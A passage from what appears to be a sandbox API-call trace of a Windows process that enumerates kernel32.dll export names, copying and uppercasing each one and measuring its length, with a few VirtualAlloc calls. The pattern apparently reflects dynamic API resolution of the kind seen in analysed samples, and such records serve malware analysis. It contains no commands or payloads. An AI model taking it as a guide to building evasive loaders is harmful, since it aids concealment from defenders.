returned="AcquireSRWLockExclusive" [0083.488] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0083.488] lstrcpyA (in: lpString1=0x21f8ebc, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0083.488] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0083.488] lstrcpyA (in: lpString1=0x21f8ebc, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0083.488] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0083.488] lstrcpyA (in: lpString1=0x21f8ebc, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0083.488] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0083.488] lstrcpyA (in: lpString1=0x21f8ebc, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0083.488] lstrlenA (lpString="ADDATOMA") returned 8 [0083.488] lstrcpyA (in: lpString1=0x21f8ebc, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0083.488] lstrlenA (lpString="ADDATOMW") returned 8 [0083.489] lstrcpyA (in: lpString1=0x21f8ebc, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0083.489] lstrcpyA (in: lpString1=0x21f8ebc, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0083.489] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.489] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.490] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.490] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.491] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.491] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.491] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.492] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.492] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.493] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.493] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.493] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.494] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.494] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x3000, flProtect=0x4) returned 0x2d00000 [0083.495] VirtualAlloc (lpAddress=0x0, dwSize=0xd6, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0083.495] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0083.495] VirtualAlloc (lpAddress=0x0, dwSize=0xc4, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0083.496] lstrlenA (lpString="kernel32.dll") returned 12 [0083.496] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.496] lstrcpyA (in: lpString1=0x21fea90, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0083.496] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0083.496] lstrcpyA (in: lpString1=0x21fea90, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0083.496] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0083.496] lstrcpyA (in: lpString1=0x21fea90, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0083.496] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0083.496] lstrcpyA (in: lpString1=0x21fea90, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0083.496] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0083.496] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0083.496] lstrlenA (lpString="ADDATOMA") returned 8 [0083.496] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0083.496] lstrlenA (lpString="ADDATOMW") returned 8 [0083.496] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0083.496] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0083.496] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0083.496] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0083.497] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0083.497] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0083.497] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0083.497] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0083.497] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0083.497] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0083.497] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0083.497] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0083.497] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0083.497] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0083.497] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0083.497] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0083.497] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0083.497] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0083.497] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0083.497] lstrcpyA (in: lpString1=0x21fea90, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0083.497] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0083.498] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0083.498] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0083.498] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0083.498] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0083.498] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0083.498] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0083.498] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0083.498] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0083.498] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0083.498] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0083.498] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0083.498] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0083.498] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0083.498] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0083.498] lstrlenA (lpString="BACKUPREAD") returned 10 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0083.498] lstrlenA (lpString="BACKUPSEEK") returned 10 [0083.498] lstrcpyA (in: lpString1=0x21fea90, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0083.499] lstrlenA (lpString="BACKUPWRITE") returned 11 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0083.499] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0083.499] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0083.499] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0083.499] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0083.499] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0083.499] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0083.499] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0083.499] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0083.499] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0083.499] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0083.499] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0083.499] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0083.499] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0083.499] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0083.499] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0083.499] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0083.500] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0083.500] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0083.500] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0083.500] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0083.500] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0083.500] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0083.500] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0083.500] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0083.500] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0083.500] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0083.500] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0083.500] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0083.500] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0083.500] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0083.500] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0083.500] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0083.501] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0083.501] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0083.501] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0083.501] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0083.501] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0083.501] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0083.501] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0083.501] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0083.501] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0083.501] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0083.501] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0083.501] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0083.501] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0083.501] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0083.501] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0083.501] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0083.501] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0083.502] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0083.502] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0083.502] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0083.502] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0083.502] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0083.502] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0083.502] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0083.502] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0083.502] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0083.502] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0083.502] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0083.502] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0083.502] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0083.502] lstrlenA (lpString="BEEP") returned 4 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0083.502] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0083.502] lstrlenA 